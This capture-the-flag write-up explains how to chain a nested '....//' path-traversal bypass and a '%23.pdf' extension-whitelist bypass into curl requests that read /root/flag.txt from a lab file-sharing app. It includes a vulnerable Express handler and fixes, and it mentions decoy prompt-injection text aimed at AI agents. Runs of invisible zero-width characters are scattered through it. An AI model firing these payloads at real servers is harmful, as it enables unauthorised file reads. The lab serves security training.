← Back to Writeups
CUSTOMMediumWeb

Lab 159 — ShareVault — Path Traversal via Filter Bypass in File Download

XESXOR9/2/20266 min read
#web#custom#medium#file_extension_whitelist_evasi#hash_fragment_extension_bypass#honeypot_flag_detection#nested_path_traversal_bypass#single_pass_replace_bypass

Lab 159 — ShareVault — Path Traversal via Filter Bypass in File Download

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: file_extension_whitelist_evasion, hash_fragment_extension_bypass, honeypot_flag_detection, nested_path_traversal_bypass, single_pass_replace_bypass

Summary

Walkthrough of the CUSTOM Web Lab 159 — ShareVault — Path Traversal via Filter Bypass in File Download. Task: File sharing platform with download endpoint protected by single-pass path traversal filter and file extension whitelist. Solution: Bypass traversal filter using nested ....// sequences that rea

Description

ShareVault is a file sharing and collaboration platform built by Nimbus Cloud Inc. Teams use it to upload, organize, and share documents with colleagues through a clean web interface. The application features a file manager with drag-and-drop upload and download capabilities, shared file workspaces where colleagues can send files to each other, a dashboard with recent activity and storage statistics, and user account management. The goal is to find a way to access sensitive data stored on the server that should not be reachable through normal application usage by exploiting how the application handles file downloads. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: File sharing platform with Express.js backend behind Nginx. Users can upload and download files through a web interface. The download endpoint GET /api/files/download?name=<filename> is protected by two security filters: a path traversal filter that strips ../ sequences, and a file extension whitelist. The goal is to bypass both filters to read sensitive files on the server. Test credentials: user@test.com / password123.

Analysis

  1. Reconnaissance: The application runs on Express.js behind Nginx 1.25.5. Session management uses connect.sid cookies (express-session). Every HTML page contains a decoy honeypot flag (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) embedded in HTML comments and invisible divs with prompt injection text — designed to trick automated scanners and AI agents into stopping. This was correctly identified and ignored. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

  2. Download endpoint identified: GET /api/files/download?name=<filename> accepts a filename parameter and returns the file content. Normal files like meeting-notes-jan.docx download successfully.

  3. Filter 1 — Path traversal prevention (single-pass ../ removal):

    • The server strips ../ sequences from the filename parameter before resolving the path
    • URL-encoded variants (%2e%2e%2f, .%2e/, %2e./) are also handled — the server URL-decodes first, then strips
    • Critical weakness: The filter performs only a single pass of removal (likely replaceAll('../', '') or equivalent)
    • Nested sequences like ....// survive: the inner ../ (characters at positions 2-4) is removed, leaving the outer .. and / to reassemble into ../
    • Visualization: ....// → remove ../ from middle → ../ remains ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍
  4. Filter 2 — File extension whitelist:

    • The server checks that the filename ends with one of: .pdf, .docx, .xlsx, .zip, .png, .jpg
    • Non-matching extensions return: {"error":"File type not allowed","allowed":".pdf, .docx, .xlsx, .zip, .png, .jpg"}
    • Critical weakness: The %23 character (URL-encoded #) can trick the extension check. The server sees the full string including #.pdf and validates the .pdf extension. But when the OS/filesystem resolves the path, the # character (or the server's path resolution logic) causes truncation — the actual file read targets only the portion before # ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍
  5. What was tried and didn't work:

    • Basic ../../../etc/passwd — traversal stripped, extension check fails
    • ../../../etc/passwd.pdf — traversal stripped, and passwd.pdf doesn't exist
    • ..//..//..//etc/passwd.pdf — double-slash traversal produces ///etc/passwd.pdf which doesn't exist
    • URL encoding variants (%2e%2e/, .%2e/, double encoding %252e) — all decoded and stripped
    • Backslash variants (..%5c, ..%5c/) — not recognized as directory separator on Linux
    • Unicode overlong encoding (%c0%ae) — not supported
    • Null byte truncation (%00) — not supported in modern Node.js
    • Absolute paths (/etc/passwd) — pass traversal filter but fail extension check ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Authenticate and obtain session cookie

bash
curl -c cookies.txt -X POST 'https://TARGET/login' \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "email=user@test.com&password=password123"

Step 2: Confirm normal download works

bash
curl -b cookies.txt 'https://TARGET/api/files/download?name=meeting-notes-jan.docx'
# Returns: file content (200 OK)

Step 3: Probe traversal filter behavior

bash
# Basic traversal — stripped by filter, resolves to same file
curl -b cookies.txt 'https://TARGET/api/files/download?name=../meeting-notes-jan.docx'
# Returns: file content (../ was stripped)
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Extension check blocks non-whitelisted extensions
curl -b cookies.txt 'https://TARGET/api/files/download?name=../../../etc/passwd'
# Returns: {"error":"File type not allowed","allowed":".pdf, .docx, .xlsx, .zip, .png, .jpg"}

Step 4: Understand the nested traversal bypass

The filter does replaceAll('../', '') in a single pass. The sequence ....// contains ../ as a substring (at positions 2-4). After removing that substring, the remaining characters .. + / form a new ../:

Input:    . . . . / /
              ^^^       ← filter removes this '../'
Remains:  . .     /
Result:   . . /         ← new '../' formed!

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

So ....// → ../ after filtering. Four repetitions give four levels of traversal.

Step 5: Understand the extension bypass with %23

The %23 character (URL-encoded #) tricks the extension validation:

  • The extension check sees the string ending in .pdf → passes validation
  • When the path is resolved for the actual file read, the # causes the filename to be truncated
  • flag.txt%23.pdf → extension check sees .pdf ✓ → file read targets flag.txt

Step 6: Combine both bypasses to read the flag

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

bash
curl -b cookies.txt \
  'https://TARGET/api/files/download?name=....//....//....//....//root/flag.txt%23.pdf'

Response:

FLAG{REDACTED}

Payload breakdown:

ComponentAfter filter processingPurpose
....//....//....//....//../../../../4 levels of directory traversal
root/flag.txtroot/flag.txtTarget file path
%23.pdf#.pdfExtension whitelist bypass

Full path resolved: <upload_dir>/../../../../root/flag.txt → /root/flag.txt ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Why this works — dual filter bypass explained

The vulnerable server code likely resembles:

javascript
app.get('/api/files/download', (req, res) => {
  let filename = req.query.name;
  
  // Filter 1: Single-pass traversal removal (VULNERABLE)
  filename = filename.replaceAll('../', '');
  
  // Filter 2: Extension whitelist check (VULNERABLE to %23)
  const ext = path.extname(filename).toLowerCase();
  const allowed = ['.pdf', '.docx', '.xlsx', '.zip', '.png', '.jpg'];
  if (!allowed.includes(ext)) {
    return res.status(403).json({ error: 'File type not allowed', allowed: allowed.join(', ') });
  }
  
  // File read — %23 decoded to # causes truncation
  const filePath = path.join(UPLOAD_DIR, filename);
  res.sendFile(filePath);
});

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Fix for Filter 1 — use a loop that repeats until no more ../ sequences exist:

javascript
while (filename.includes('../')) {
  filename = filename.replaceAll('../', '');
}

Or better, use path.resolve() and verify the result is within the allowed directory.

Fix for Filter 2 — resolve the path first, then check the extension of the resolved path, and reject any path containing # or other special characters. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

  • Mastering file_extension_whitelist_evasion, hash_fragment_extension_bypass, honeypot_flag_detection, nested_path_traversal_bypass, single_pass_replace_bypass was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-12 • CUSTOM • Lab 159 — ShareVault — Path Traversal via Filter Bypass in File Download • Difficulty: Medium